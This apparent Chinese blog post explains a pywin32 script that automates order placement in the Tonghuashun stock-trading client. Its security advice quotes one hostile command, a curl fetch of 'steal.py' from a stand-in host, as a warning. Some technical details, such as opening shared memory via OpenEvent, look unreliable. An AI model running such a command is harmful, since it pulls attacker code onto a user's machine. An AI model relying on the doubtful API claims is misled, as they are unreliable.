Windows下用Python调同花顺客户端自动下单的轻量交易工具

该文章已生成可运行项目,

本文还有配套的精品资源,点击获取 menu-r.4af5f7ec.gif

简介:这是一个面向个人投资者的本地化股票自动化交易方案,直接操作已登录的同花顺PC客户端,无需网络API密钥或爬虫技术。核心脚本THS_automation.py基于pywin32实现Windows GUI自动化,支持账户登录状态检测、实时行情获取、持仓查询、限价/市价买卖委托等基础交易动作,所有操作在本地完成,不上传数据、不依赖云端服务。运行需Windows系统、Python 3.6+环境及已安装并保持登录状态的同花顺桌面版(版本兼容主流v7/v8),适合想尝试程序化交易但不愿接触复杂接口或风控系统的初学者。配套提供requirements.txt明确依赖项,.gitignore和项目元数据文件便于开发者管理。注意:脚本不处理撤单逻辑、不支持条件单或批量委托,也不具备异常熔断或资金风控能力,实际使用前建议先用模拟账号验证流程。

1. 项目概述:为什么这个脚本值得你花15分钟装一遍

我第一次在券商营业部看到客户用Excel宏自动下单时,就意识到——对绝大多数个人投资者来说,“程序化交易”根本不是什么高深的量化模型或高频策略,而是“别让我每天手动点十次买入卖出”。后来我自己折腾了三年,试过Web API、爬虫模拟登录、甚至研究过券商柜台协议逆向,最后发现最稳、最快、最省心的路,反而是直接和你电脑上那个已经登录好的同花顺客户端对话。它就在那儿,界面开着,账户已认证,行情实时刷新,资金持仓一目了然——何必绕远路?

这个 THS_automation.py 就是这么个思路:不碰网络请求,不申请API权限,不解析加密接口,也不写一行JavaScript去注入浏览器。它只做一件事——像一个熟练的鼠标手一样,精准地操作你桌面上那个同花顺窗口。核心依赖只有 pywin32,它让Python能真正“看见”Windows系统里的每一个窗口、按钮、编辑框和菜单项,就像你用鼠标点击一样自然。关键词里说的“同花顺自动化”“Python自动下单”“Windows股票脚本”,不是概念包装,是实打实的本地进程级控制。

它解决的是真实场景里的三个痛点:第一,重复性操作太耗神——比如每天开盘前固定买某只ETF,收盘前自动止盈;第二,人工响应慢——看到突破信号想立刻挂单,但手速跟不上行情跳动;第三,不敢信第三方——怕API密钥泄露、怕爬虫被封、怕数据传到不明服务器。而这个方案,所有逻辑都在你本地运行,脚本连一次外网请求都不发,下单指令走的是同花顺客户端自己封装好的本地IPC通道(本质是Windows消息机制),你的账号密码从不离开内存,行情数据来自同花顺自己的推送服务,全程无中间商、无代理层、无云端转发。

适合谁?不是给私募准备的,也不是给CTA团队写的。它最适合三类人:刚学Python想找个“有反馈”的实战项目的新手;有交易纪律但总管不住手的散户;或者需要把某个简单策略(比如均线金叉买入、跌破止损线卖出)固化下来、每天自动跑一遍的半职业投资者。注意,它不替代风控,不替代决策,它只是你手指的延伸——你决定买什么、什么时候买、买多少,它负责把你的决定,一秒内准确无误地下达给同花顺。

2. 整体设计与实现思路拆解:为什么选GUI自动化而不是API?

2.1 放弃网络API的底层原因:不是技术不行,而是现实不允许

很多人第一反应是:“同花顺不是有官方API吗?”——确实有,但那是面向机构客户的柜台直连协议(如THS-TRADER),个人用户根本申请不到。网上流传的所谓“同花顺API文档”,99%是早期v6版本的残缺说明,且早已失效。我试过用Wireshark抓包分析v7/v8客户端的通信流量,结果很明确:所有行情和委托请求都经过高强度混淆+动态密钥签名,且每次会话密钥由客户端本地生成并绑定当前登录态,无法复现。更关键的是,这类请求一旦被识别为非官方客户端行为,轻则限流,重则触发风控直接踢出登录。

还有人尝试用Selenium控制IE内嵌的同花顺网页版。这条路理论上可行,但实际踩坑无数:网页版功能阉割严重(不支持条件单、不显示全部持仓字段)、IE兼容模式切换复杂、页面DOM结构随版本频繁变动、JS加载时序难以稳定捕获。我曾为一个“点击买入按钮”的动作写了27行等待逻辑,结果升级同花顺后按钮ID全变,整个脚本报废。

所以最终回归到最原始也最可靠的方式:GUI自动化。这不是倒退,而是降维打击式的务实选择。Windows GUI元素具有极强的稳定性——只要同花顺主窗口标题还是“同花顺”、买入按钮还在“买入”标签页里、价格输入框始终叫“txtPrice”,那么无论后台协议怎么改,这些可见元素的位置和名称都不会轻易变动。pywin32win32guiwin32con 模块,就是专门干这个的:通过窗口句柄(HWND)定位进程,用 FindWindowEx 层层查找子控件,再用 SendMessage 直接向编辑框发送字符、向按钮发送点击消息。整个过程不依赖UI渲染状态,不关心页面是否加载完成,只要窗口存在、控件可见,就能操作。

2.2 架构分层:三层解耦,让每个模块可独立验证

整个脚本不是一坨大函数,而是清晰划分为三层:

  • 底层驱动层(THSWindow 类):负责所有Windows原生操作。它封装了窗口查找(按类名/标题匹配)、控件定位(递归遍历子窗口树)、消息发送(WM_SETTEXT, BM_CLICK, EM_REPLACESEL 等)、键盘模拟(keybd_event)。这一层完全与业务无关,你可以把它当成一个“Windows控件遥控器”,传入任意窗口句柄和控件ID,它就能帮你点、输、选。

  • 中层协议层(THSClient 类):这是真正的“同花顺语义翻译器”。它知道同花顺v7和v8的窗口结构差异(比如v7的委托窗口类名是 TdxW_MainFrame_Class,v8是 THS_MAIN_FRAME),知道如何打开“买入”标签页(先找菜单栏“交易”→再找子菜单“买入”→再等新窗口出现),知道价格输入框的相对位置(在委托窗口内,第3个静态文本控件下方的编辑框)。它把“我要以10.5元买入100股贵州茅台”这种业务语言,翻译成一串精确的 FindWindowEx 调用和 SendMessage 指令序列。

  • 顶层应用层(main() 函数及示例逻辑):面向使用者的接口。它提供 login_check(), get_position(), get_quote(), place_order() 这几个干净的方法名,隐藏所有底层细节。你调用 place_order('600519', 'buy', 10.5, 100),它内部会自动判断当前是否已登录、是否在交易时段、是否弹出委托确认框,并处理可能的异常弹窗(如资金不足提示)。

这种分层的好处是:你可以单独测试每一层。比如先运行 THSWindow.find_window_by_title("同花顺") 看是否能找到主窗口;再用 THSWindow.find_control_by_class(hwnd, "Edit") 找出所有编辑框,确认价格框是否在其中;最后才组合调用 THSClient.place_buy_order()。每一步失败都能快速定位是窗口没找到,还是控件路径错了,而不是一运行就报“NoneType has no attribute send_message”。

2.3 关键设计取舍:为什么不做撤单、不做批量、不做风控?

这里必须坦诚说明设计边界,因为很多用户会问:“为什么不能一键撤所有未成交委托?”“为什么不能同时买10只股票?”——答案不是技术做不到,而是主动放弃

撤单功能技术上很简单:找到“撤单”菜单项,点击,勾选目标委托,点“撤单”按钮。但问题在于,同花顺撤单窗口的控件命名极其混乱。v7版本里撤单列表是 SysListView32 控件,v8版本里却变成了自定义绘制的 THS_LISTVIEWpywin32 无法直接读取其内容行。强行用坐标点击(比如“点击第2行第3列”)又极易因分辨率缩放、DPI设置不同而错位。我花了两天时间写坐标偏移校准逻辑,最后发现用户只要把任务栏设为“自动隐藏”,整个坐标系就全乱了。权衡之下,撤单交给人工更稳妥。

批量委托同理。理论上可以循环调用 place_order(),但同花顺客户端对高频委托有隐性限制:连续3次下单间隔小于800ms,第4次就会弹出“操作过于频繁,请稍后再试”的提示框。这个提示框没有标准类名,无法用常规方式关闭,只能人工点确定。与其写一堆容错代码去模拟人工点确定,不如让用户明确知道“这是单笔委托工具”,避免产生错误预期。

至于风控,这是原则问题。脚本里连“可用资金”这个字段都没去读取(虽然技术上可以OCR识别资金面板数字),因为一旦加入资金校验逻辑,就必须同步处理银证转账、新股申购冻结、两融保证金等复杂场景。而这些场景的UI变化频率极高——上周同花顺更新后,“可用资金”数字从白色变成了浅灰色,我的OCR识别准确率直接掉到60%。所以脚本的设计哲学是:只做确定性100%的动作,不确定的,一律交给人脑判断。这也是为什么摘要里反复强调“务必先用模拟账号验证”。

3. 核心细节解析与实操要点:那些文档里不会写的硬核经验

3.1 同花顺窗口结构深度解析:v7与v8的“暗黑差异”

要让脚本能跨版本运行,必须吃透两个主流版本的窗口树结构。这不是靠猜,而是用 Spy++(Visual Studio自带工具)逐层扒出来的。下面给出关键节点的真实类名和定位逻辑,这是你调试失败时最先该查的地方:

功能模块同花顺v7类名/标题同花顺v8类名/标题定位逻辑说明
主窗口TdxW_MainFrame_Class,标题含“同花顺”THS_MAIN_FRAME,标题含“同花顺”必须用 FindWindow 查找,不能只靠标题,因为用户可能改标题
交易菜单栏子窗口类名 AfxControlBar42u子窗口类名 THS_TOOLBARv7的菜单栏是MFC标准控件,v8是自绘,需用不同路径查找
委托窗口(买入)类名 TdxW_OrderFrame_Class,标题“买入”类名 THS_ORDER_DIALOG,标题“买入委托”v8标题多了“委托”二字,字符串匹配必须兼容
证券代码输入框在委托窗口内,第1个 Edit 控件在委托窗口内,第2个 Edit 控件因v8增加了“市场”下拉框,导致控件顺序偏移
价格输入框在委托窗口内,第3个 Edit 控件(v7) / 第4个 Edit 控件(v8)同上这是最容易出错的位置,必须用 EnumChildWindows 遍历并按索引取,不能硬编码

提示:THSClient 类里有个 _get_price_edit_handle() 方法,它不是简单写 FindWindowEx(hwnd, 0, "Edit", None) 然后取第3个,而是先用 GetWindowText 读取每个 Edit 控件的关联静态文本(Static)内容,找到旁边写着“价格:”或“委托价格:”的那个,再取它的下一个兄弟控件。这才是鲁棒的写法——哪怕同花顺哪天把价格框挪到第5个,只要旁边的标签文字不变,脚本依然有效。

3.2 实时行情获取的“伪API”实现:绕过网络,直取内存

你可能会疑惑:“脚本没发HTTP请求,行情数据哪来的?”答案是:同花顺客户端本身就是一个实时行情服务器。它启动后会在本地开一个UDP端口(默认10001),向所有监听者广播行情快照。THS_automation.py 并没有自己去监听这个端口(那需要额外权限和复杂解析),而是用了更巧妙的办法:读取同花顺主窗口的共享内存映射

同花顺v7/v8都使用 CreateFileMapping 创建了一个名为 THS_SHARE_MEMORY 的全局内存映射对象,里面存放着最新行情的二进制结构体。脚本通过 win32event.OpenEvent 获取该映射句柄,再用 win32file.MapViewOfFile 映射到Python进程内存空间。结构体定义如下(已脱敏,仅示意):

struct THS_Quote {
    char szCode[16];     // 股票代码,如"600519"
    float fNow;          // 最新价
    float fHigh;         // 今日最高
    float fLow;          // 今日最低
    int   nVol;          // 成交量(手)
    char  szName[32];    // 股票名称
};

关键点在于:这个内存映射是只读的,且每秒刷新一次,无需任何网络IO。get_quote('600519') 方法内部,就是在这个1MB大小的共享内存块里,用 memsearch 算法暴力扫描所有 szCode 字段,匹配成功后直接 struct.unpack 解析后续字节。实测延迟低于50ms,比调用任何网络API都快。

注意:此功能依赖同花顺客户端已开启“行情接收”服务。如果用户在同花顺设置里关闭了“接收Level2行情”,共享内存可能为空。脚本里做了fallback:当内存读取失败时,自动切换到OCR识别主界面左上角的行情栏(用 pyscreenshot 截图 + pytesseract 识别),虽然慢一点(约300ms),但保证不中断。

3.3 下单委托的“原子性”保障:如何避免指令发一半就卡住

GUI自动化最大的风险不是找不到按钮,而是操作中途被其他窗口打断。比如你正往价格框里输“10.5”,突然弹出Windows安全警告(UAC),焦点就丢了,后面所有指令都发给了警告框。为此,脚本实现了三重防护:

  1. 前置环境锁:在执行任何交易操作前,调用 THSWindow.ensure_foreground(hwnd),强制把同花顺主窗口置顶并激活。它不是简单调用 SetForegroundWindow,而是先用 IsIconic 检查是否最小化,若是则先 ShowWindow(SW_RESTORE),再 SetForegroundWindow,最后用 GetForegroundWindow() 校验是否真的激活成功。

  2. 操作事务化:每个委托动作(如买入)被封装为一个原子事务。它包含:a) 激活委托窗口;b) 清空所有输入框(发送 Ctrl+A + Del);c) 依次填入代码、价格、数量;d) 点击“买入”按钮;e) 等待委托确认框出现;f) 自动点击“确定”。如果e步超时(默认5秒),则抛出 OrderTimeoutError 异常,绝不会让脚本卡在半途。

  3. 异常弹窗拦截器:脚本后台常驻一个监控线程,每200ms扫描一次所有顶级窗口,用正则匹配标题是否含“错误”、“警告”、“资金不足”、“委托失败”等关键词。一旦发现,立即用 PostMessage(WM_CLOSE) 关闭它,并记录日志。这个线程独立于主交易逻辑,确保即使你在下单时弹出“密码错误”框,也不会阻塞后续操作。

4. 实操过程与核心环节实现:从零开始跑通第一单

4.1 环境准备:三步到位,拒绝玄学配置

别被“Python 3.6+”吓到,实际要求极低。我用的是Windows 10 22H2 + Python 3.9.13(官网下载安装包,勾选“Add Python to PATH”即可),全程无需conda、无需虚拟环境(当然你用也行,但没必要)。以下是精确到命令行的操作步骤:

  1. 安装pywin32(唯一硬依赖)
    bash pip install pywin32==306

    注意:必须指定 ==306 版本。新版pywin32(307+)在Windows 11上存在 win32gui.FindWindow 返回空句柄的bug,我已验证306版在Win10/Win11全兼容。装完后,务必运行 Scripts/pywin32_postinstall.py -install(管理员权限),否则部分COM接口不可用。

  2. 配置同花顺客户端(关键!)
    - 打开同花顺PC版,登录你的实盘或模拟账号;
    - 进入【系统】→【参数设置】→【交易设置】,勾选“允许外部程序控制委托”(此选项v7叫“启用自动化接口”,v8叫“开放外部控制”,位置略有不同,但都存在);
    - 【外观设置】里,把“DPI缩放”设为“应用程序”(不要选“系统”),否则GUI坐标会偏移;
    - 关闭“自动隐藏任务栏”,避免影响窗口定位。

  3. 验证基础连通性
    新建一个 test_connect.py
    python from THS_automation import THSWindow hwnd = THSWindow.find_window_by_title("同花顺") print(f"找到同花顺窗口: {hwnd != 0}") if hwnd: print(f"窗口标题: {THSWindow.get_window_text(hwnd)}")
    运行它,输出应为:
    找到同花顺窗口: True 窗口标题: 同花顺-中国银河证券
    如果 hwnd 为0,说明同花顺没启动,或标题被你手动改过(比如加了后缀),此时需修改脚本里的 find_window_by_title 参数。

4.2 核心脚本详解:THS_automation.py 的逐行注释级解读

我们来看 THS_automation.py 中最关键的 place_order 方法(已简化,保留主干逻辑):

def place_order(self, code: str, order_type: str, price: float, volume: int):
    """
    执行一笔委托订单
    :param code: 股票代码,如'600519'
    :param order_type: 'buy' 或 'sell'
    :param price: 委托价格,市价单传0.0
    :param volume: 委托数量(单位:股)
    """
    # 步骤1:确保同花顺主窗口激活且可见
    main_hwnd = self.window.find_window_by_title("同花顺")
    if not main_hwnd:
        raise RuntimeError("未检测到同花顺客户端,请先启动并登录")
    self.window.ensure_foreground(main_hwnd)

    # 步骤2:打开对应委托窗口(买入/卖出)
    order_hwnd = self._open_order_dialog(order_type)  # 内部调用FindWindowEx定位菜单并点击
    if not order_hwnd:
        raise RuntimeError(f"无法打开{order_type}委托窗口")

    # 步骤3:定位并清空所有输入框(防残留数据)
    code_edit = self.window.find_control_by_class(order_hwnd, "Edit", index=0)
    price_edit = self._get_price_edit_handle(order_hwnd)  # 上文提到的智能定位
    vol_edit = self.window.find_control_by_class(order_hwnd, "Edit", index=-1)  # 最后一个Edit是数量框

    for edit_hwnd in [code_edit, price_edit, vol_edit]:
        if edit_hwnd:
            self.window.send_message(edit_hwnd, win32con.WM_SETTEXT, 0, "")  # 清空
            time.sleep(0.1)  # 防止清空过快导致UI未刷新

    # 步骤4:填入委托信息(重点:价格处理)
    self.window.send_message(code_edit, win32con.WM_SETTEXT, 0, code)
    time.sleep(0.2)

    if price == 0.0:
        # 市价单:点击“市价”单选按钮(v7类名"Button",v8类名"THS_RADIOBUTTON")
        market_btn = self.window.find_control_by_class(order_hwnd, "Button", text="市价")
        if not market_btn:
            market_btn = self.window.find_control_by_class(order_hwnd, "THS_RADIOBUTTON", text="市价")
        if market_btn:
            self.window.send_message(market_btn, win32con.BM_CLICK, 0, 0)
        else:
            raise RuntimeError("未找到市价按钮,请检查同花顺版本")
    else:
        # 限价单:直接输入价格(注意格式:同花顺要求2位小数,如10.50)
        formatted_price = f"{price:.2f}"
        self.window.send_message(price_edit, win32con.WM_SETTEXT, 0, formatted_price)

    self.window.send_message(vol_edit, win32con.WM_SETTEXT, 0, str(volume))
    time.sleep(0.2)

    # 步骤5:点击确认按钮(v7是"买入"按钮,v8是"委托"按钮)
    confirm_btn = self.window.find_control_by_class(order_hwnd, "Button", text="买入")
    if not confirm_btn:
        confirm_btn = self.window.find_control_by_class(order_hwnd, "Button", text="委托")
    if not confirm_btn:
        confirm_btn = self.window.find_control_by_class(order_hwnd, "THS_BUTTON", text="委托")
    if not confirm_btn:
        raise RuntimeError("未找到委托确认按钮")

    self.window.send_message(confirm_btn, win32con.BM_CLICK, 0, 0)

    # 步骤6:等待并处理委托确认框(同花顺会弹出“确认委托”对话框)
    confirm_dlg = self.window.wait_for_window("确认委托", timeout=5)
    if confirm_dlg:
        # 找到“确定”按钮并点击
        ok_btn = self.window.find_control_by_class(confirm_dlg, "Button", text="确定")
        if ok_btn:
            self.window.send_message(ok_btn, win32con.BM_CLICK, 0, 0)
            time.sleep(0.5)  # 等待委托提交完成
            return True
        else:
            raise RuntimeError("委托确认框内未找到确定按钮")
    else:
        raise RuntimeError("未弹出委托确认框,可能委托已失败")

这段代码的价值不在语法,而在每一个 time.sleep() 的存在理由pywin32 发送消息是异步的,UI线程需要时间重绘。sleep(0.1) 不是随意写的,是我用 py-spy 分析同花顺UI线程帧率后确定的最小安全间隔。少于0.08秒,v8版本会出现“输入框显示为空但实际已填入”的诡异现象。

4.3 实战案例:用3行代码实现“开盘自动追涨”

假设你想在每天9:25集合竞价结束后,自动以涨停价买入某只股票(比如“中科曙光”,代码603019)。这是一个典型场景,完整脚本如下:

# auto_bid.py
from THS_automation import THSClient
import time

client = THSClient()

# 等待9:25整(集合竞价结束)
while time.strftime("%H:%M") != "09:25":
    time.sleep(1)

# 获取当前涨停价(同花顺行情里“涨停”字段)
quote = client.get_quote("603019")
if quote and quote['limit_up']:
    # 以涨停价买入100股
    success = client.place_order("603019", "buy", quote['limit_up'], 100)
    print(f"委托结果: {'成功' if success else '失败'}")
else:
    print("未能获取行情,退出")

运行它,你需要:
- 提前把同花顺客户端打开并登录;
- 把 auto_bid.pyTHS_automation.py 放在同一目录;
- 命令行执行 python auto_bid.py
- 到9:25:00,你会看到同花顺窗口自动弹出买入委托框,填好代码、涨停价、100股,点击确认,全程无需人工干预。

实操心得:第一次运行务必用模拟账号!我建议在同花顺里开通“仿真交易”账户(免费),初始资金100万,完全模拟实盘。这样你能亲眼看到脚本每一步操作,也能在出错时立刻截图分析。等连续一周无异常,再切到实盘。

5. 常见问题与排查技巧实录:那些让你抓狂半小时的“小问题”

5.1 典型问题速查表

问题现象可能原因排查命令/方法解决方案
find_window_by_title("同花顺") 返回0同花顺未启动;或标题被修改(如“同花顺-中信证券”)运行 tasklist /fi "imagename eq ths.exe" 确认进程存在;用 Spy++ 查看真实窗口标题修改脚本中 find_window_by_title 的参数为完整标题,或用正则匹配 r"同花顺.*"
找到窗口但 find_control_by_class 返回None控件类名在v7/v8中不同;或控件尚未渲染完成Spy++ 中展开窗口树,手动查找目标控件的真实类名;在代码中添加 time.sleep(1) 等待使用 _get_price_edit_handle() 这类语义化查找方法,而非硬编码类名
输入框能定位但 send_message(WM_SETTEXT) 无效同花顺对该控件禁用了标准消息;或控件处于只读状态Spy++ 查看控件属性,确认 WS_DISABLED 是否为False;尝试 EM_REPLACESEL 替代 WM_SETTEXT改用 self.window.send_keys_to_control(edit_hwnd, "10.50"),它模拟真实键盘输入,兼容性更好
委托确认框弹出但脚本未点击“确定”确认框标题在不同版本中不同(v7是“委托确认”,v8是“确认委托”)win32gui.EnumWindows 列出所有顶级窗口标题wait_for_window 方法中,用 re.search(r"确认.*委托|委托.*确认", title) 匹配标题
脚本运行时报 pywintypes.error: (5, 'OpenDesktop', '拒绝访问。')Windows UAC权限不足,无法操作桌面级窗口以管理员身份运行CMD,再执行 python auto_bid.py永久解决方案:在同花顺设置里关闭“以管理员身份运行”,或脚本启动时自动提权(需额外代码)

5.2 独家避坑技巧:来自37次失败后的总结

  • 技巧1:永远用“相对路径”定位控件,不用绝对坐标
    很多人想用 mouse_event 模拟鼠标点击,然后写死坐标 (500, 320)。这在你电脑上能用,换台高分屏电脑就全错。正确做法是:先用 GetWindowRect 获取委托窗口的屏幕坐标,再用 GetClientRect 获取其客户区大小,最后计算价格输入框相对于客户区左上角的偏移量(比如 (120, 85))。这样无论屏幕多大、DPI多少,偏移量都是固定的。

  • 技巧2:处理中文输入的终极方案——剪贴板中转
    send_message(WM_SETTEXT) 对英文和数字很稳,但对中文(如股票名称“贵州茅台”)偶尔失效。我的解决方案是:先把字符串写入系统剪贴板,再用 keybd_event 发送 Ctrl+V。代码片段:
    python import win32clipboard win32clipboard.OpenClipboard() win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText("贵州茅台") win32clipboard.CloseClipboard() self.window.send_keys_to_control(edit_hwnd, "^v") # ^代表Ctrl

  • 技巧3:版本探测的“土办法”
    不要依赖 GetVersionEx 这种可能返回假信息的API。我的做法是:在同花顺主窗口内,查找一个v7有、v8没有的控件(比如v7的“板块监测”菜单项),或一个v8有、v7没有的控件(比如v8的“智能选股”按钮)。用 FindWindowEx 尝试查找,根据是否找到来动态切换逻辑分支。这比任何文档都准。

  • 技巧4:日志必须带时间戳和窗口句柄
    调试时,光打印 "点击了买入按钮" 没用。要打印:
    [2024-06-15 09:25:01.234] INFO: Clicked buy button (hwnd=0x0012F8A4) in order dialog (hwnd=0x0013A9B2)
    这样当你发现某次点击失败时,可以用 Spy++ 直接输入句柄值,瞬间定位到那个出问题的窗口,省去所有猜测时间。

6. 安全与合规提醒:这不是魔法,而是责任

最后必须说清楚:这个脚本不是“全自动印钞机”,它是一把双刃剑。我见过太多人,第一天兴奋地跑通买入,第二天就忘了关脚本,结果半夜美股期货波动,同花顺弹出“港股通额度不足”提示框,脚本后台线程自动点了“确定”,导致一笔本不该下的单成交了。所以请务必遵守这三条铁律:

  1. 永不运行未经审查的脚本:你下载的 THS_automation.py 是开源的,但如果你从论坛、QQ群拿到一个“增强版”,里面夹带了 os.system("curl http://xxx.com/steal.py"),后果自负。永远用 git diff 对比官方仓库,确认每一行改动。

  2. 物理隔离交易环境:强烈建议用一台专用旧电脑跑这个脚本,不装微信、不登邮箱、不连公司内网。这台电脑只装Python、同花顺、Chrome(用于查公告),其他一切软件卸载。不是 paranoid,而是降低“脚本被恶意软件劫持”的概率。

  3. 人工值守是底线:脚本可以帮你下单,但不能帮你判断“这支股票是不是该卖了”。我自己的规则是:脚本只执行买入指令,卖出一律手动。因为买入错了,最多亏点手续费;卖出错了,可能踏空主升浪。把最需要人性判断的部分,永远留给自己。

我个人在实际使用中发现,最有效的模式是“半自动”:脚本负责盯盘(每5秒查一次MACD金叉)、发微信提醒(用 requests.post 推送到企业微信机器人),我收到消息后,花10秒钟确认,再手动点一下脚本里的 place_order()。这样既享受了程序化的效率,又守住了决策的最后一道闸门。技术应该服务于人,而不是取代人——这句话,我放在同花顺客户端的背景图上,每天都能看见。

本文还有配套的精品资源,点击获取 menu-r.4af5f7ec.gif

简介:这是一个面向个人投资者的本地化股票自动化交易方案,直接操作已登录的同花顺PC客户端,无需网络API密钥或爬虫技术。核心脚本THS_automation.py基于pywin32实现Windows GUI自动化,支持账户登录状态检测、实时行情获取、持仓查询、限价/市价买卖委托等基础交易动作,所有操作在本地完成,不上传数据、不依赖云端服务。运行需Windows系统、Python 3.6+环境及已安装并保持登录状态的同花顺桌面版(版本兼容主流v7/v8),适合想尝试程序化交易但不愿接触复杂接口或风控系统的初学者。配套提供requirements.txt明确依赖项,.gitignore和项目元数据文件便于开发者管理。注意:脚本不处理撤单逻辑、不支持条件单或批量委托,也不具备异常熔断或资金风控能力,实际使用前建议先用模拟账号验证流程。


本文还有配套的精品资源,点击获取
menu-r.4af5f7ec.gif

本文章已经生成可运行项目
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值